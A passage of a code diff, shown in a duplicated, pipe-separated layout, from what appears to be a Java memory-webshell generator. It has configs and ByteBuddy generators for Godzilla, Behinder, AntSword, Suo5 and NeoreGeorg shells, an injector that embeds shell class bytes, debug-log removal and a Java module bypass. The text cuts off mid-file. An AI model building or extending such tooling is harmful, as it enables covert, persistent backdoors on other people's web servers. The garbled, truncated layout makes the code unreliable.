||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
@@ -22,4 +23,39 @@ public class GodzillaConfig extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B pass(final String pass) {
|
||||||
|
if (StringUtils.isNotBlank(pass)) {
|
||||||
|
this.pass$value = pass;
|
||||||
|
pass$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B key(final String key) {
|
||||||
|
if (StringUtils.isNotBlank(key)) {
|
||||||
|
this.key$value = key;
|
||||||
|
key$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -16,34 +16,40 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Builder(toBuilder = true)
|
@Builder(toBuilder = true)
|
||||||
public class InjectorConfig {
|
public class InjectorConfig {
|
||||||
/**
|
|
||||||
* 注入器 Builder
|
|
||||||
*/
|
|
||||||
DynamicType.Builder<?> injectorBuilder;
|
|
||||||
/**
|
|
||||||
* 内存马 Builder
|
|
||||||
*/
|
|
||||||
DynamicType.Builder<?> shellBuilder;
|
|
||||||
/**
|
/**
|
||||||
* 注入器模板类
|
* 注入器模板类
|
||||||
*/
|
*/
|
||||||
private Class<?> injectorClass;
|
private Class<?> injectorClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入器类名
|
* 注入器类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String urlPattern = "/*";
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类名
|
* 内存马类名
|
||||||
*/
|
*/
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 辅助类字节码
|
||||||
|
*/
|
||||||
|
private byte[] helperClassBytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 添加静态代码块调用构造方法初始化
|
||||||
|
*/
|
||||||
|
private boolean staticInitialize;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,4 +19,24 @@ public class NeoreGeorgConfig extends ShellToolConfig {
|
|||||||
private String headerName = "Referer";
|
private String headerName = "Referer";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import lombok.*;
|
||||||
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
@SuperBuilder
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@ToString
|
||||||
|
public class ProxyConfig extends ShellToolConfig {
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
@@ -31,7 +30,7 @@ public class ShellConfig {
|
|||||||
/**
|
/**
|
||||||
* 内存马功能
|
* 内存马功能
|
||||||
*/
|
*/
|
||||||
private ShellTool shellTool;
|
private String shellTool;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类型
|
* 内存马类型
|
||||||
@@ -56,19 +55,36 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean debug = false;
|
private boolean debug = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 是否使用回显模式
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean probe = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否启用缩小字节码
|
* 是否启用缩小字节码
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean shrink = false;
|
private boolean shrink = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 追加 Lambda 类名后缀
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean lambdaSuffix = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将 Java EE 转换为 Jakarta EE 类名
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean jakarta = false;
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return shellType.startsWith(ShellType.JAKARTA);
|
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -1,16 +1,18 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.annotation.JsonIgnore;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
public class ShellToolConfig {
|
public class ShellToolConfig {
|
||||||
@@ -19,6 +21,9 @@ public class ShellToolConfig {
|
|||||||
*/
|
*/
|
||||||
private Class<?> shellClass;
|
private Class<?> shellClass;
|
||||||
|
|
||||||
|
@JsonIgnore
|
||||||
|
private transient TypeDescription shellTypeDescription;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* shellClass 的类名
|
* shellClass 的类名
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,4 +19,24 @@ public class Suo5Config extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/5/27
|
|
||||||
*/
|
|
||||||
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
|
||||||
protected final ShellConfig shellConfig;
|
|
||||||
protected final T shellToolConfig;
|
|
||||||
|
|
||||||
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.shellToolConfig = shellToolConfig;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -16,8 +17,10 @@ public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
|
|
||||||
@@ -16,9 +17,12 @@ public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
|
|||||||
super(shellConfig, shellToolConfig);
|
super(shellConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
@Override
|
||||||
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
||||||
return builder.field(named("pass")).value(md5Key)
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("pass")).value(md5Key)
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,16 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -26,38 +21,33 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
this.shellToolConfig = shellToolConfig;
|
this.shellToolConfig = shellToolConfig;
|
||||||
}
|
}
|
||||||
|
|
||||||
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
|
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||||
|
return classBytes;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
String shellClassName = shellToolConfig.getShellClassName();
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
DynamicType.Builder<?> builder = build(new ByteBuddy()
|
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||||
.redefine(shellClass)
|
|
||||||
|
if (shellClass != null) {
|
||||||
|
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellToolConfig.getShellTypeDescription() == null) {
|
||||||
|
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
|
||||||
|
}
|
||||||
|
|
||||||
|
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||||
.name(shellClassName)
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
|
||||||
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
|
||||||
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
|
||||||
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||||
|
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +1,13 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.config.CustomConfig;
|
import com.reajason.javaweb.memshell.config.CustomConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -13,21 +16,31 @@ import java.util.Base64;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
*/
|
*/
|
||||||
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
|
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||||
super(shellConfig, customConfig);
|
super(shellConfig, customConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellClassBase64)) {
|
|
||||||
throw new GenerationException("Custom shell class is empty");
|
|
||||||
}
|
|
||||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
|
ClassReader classReader = new ClassReader(classBytes);
|
||||||
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
String className = classReader.getClassName().replace('/', '.');
|
||||||
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(className);
|
||||||
|
}
|
||||||
|
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
|
||||||
|
ClassFileLocator.Simple.of(className, classBytes),
|
||||||
|
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
|
||||||
|
);
|
||||||
|
TypeDescription typeDescription = new TypePool.Default(
|
||||||
|
new TypePool.CacheProvider.Simple(), compoundLocator,
|
||||||
|
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
|
||||||
|
).describe(className).resolve();
|
||||||
|
shellToolConfig.setShellTypeDescription(typeDescription);
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(typeDescription, compoundLocator);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
|
|
||||||
@@ -18,10 +19,12 @@ public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
|
||||||
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
|
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
|
||||||
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
.field(named("key")).value(md5Key)
|
.field(named("key")).value(md5Key)
|
||||||
.field(named("md5")).value(md5)
|
.field(named("md5")).value(md5)
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.*;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
@@ -48,6 +49,12 @@ public class InjectorGenerator {
|
|||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
|
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
||||||
|
if (helperClassBytes != null) {
|
||||||
|
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
||||||
|
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
||||||
|
}
|
||||||
|
|
||||||
if (shellConfig.needByPassJavaModule()) {
|
if (shellConfig.needByPassJavaModule()) {
|
||||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
@@ -59,6 +66,10 @@ public class InjectorGenerator {
|
|||||||
if (shellConfig.isDebugOff()) {
|
if (shellConfig.isDebugOff()) {
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
builder = StaticBlockSelfConstructorCall.extend(builder);
|
||||||
|
}
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,42 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/22
|
|
||||||
*/
|
|
||||||
public class ListenerGenerator {
|
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
|
||||||
builder = builder
|
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
|
||||||
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
|
||||||
|
|
||||||
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
|
||||||
.getDeclaredMethods()
|
|
||||||
.filter(named("getFieldValue")
|
|
||||||
.and(takesArguments(Object.class, String.class)))
|
|
||||||
.isEmpty();
|
|
||||||
|
|
||||||
if (methodNotFound) {
|
|
||||||
